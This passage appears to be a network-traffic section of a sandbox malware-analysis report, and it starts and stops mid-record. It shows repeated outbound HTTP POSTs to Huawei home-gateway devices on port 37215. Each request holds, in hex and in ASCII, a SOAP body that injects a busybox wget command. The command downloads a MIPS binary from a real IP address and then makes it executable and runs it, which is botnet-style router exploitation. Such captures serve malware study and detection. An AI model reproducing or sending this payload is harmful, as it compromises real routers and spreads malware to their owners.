20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	53222	94.120.162.18	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:27.795768976 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	40424	45.195.116.155	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:27.958801985 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:28.828546047 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:29.820542097 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:31.804518938 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:35.996520996 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:43.932614088 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:59.804591894 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:31.804521084 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r 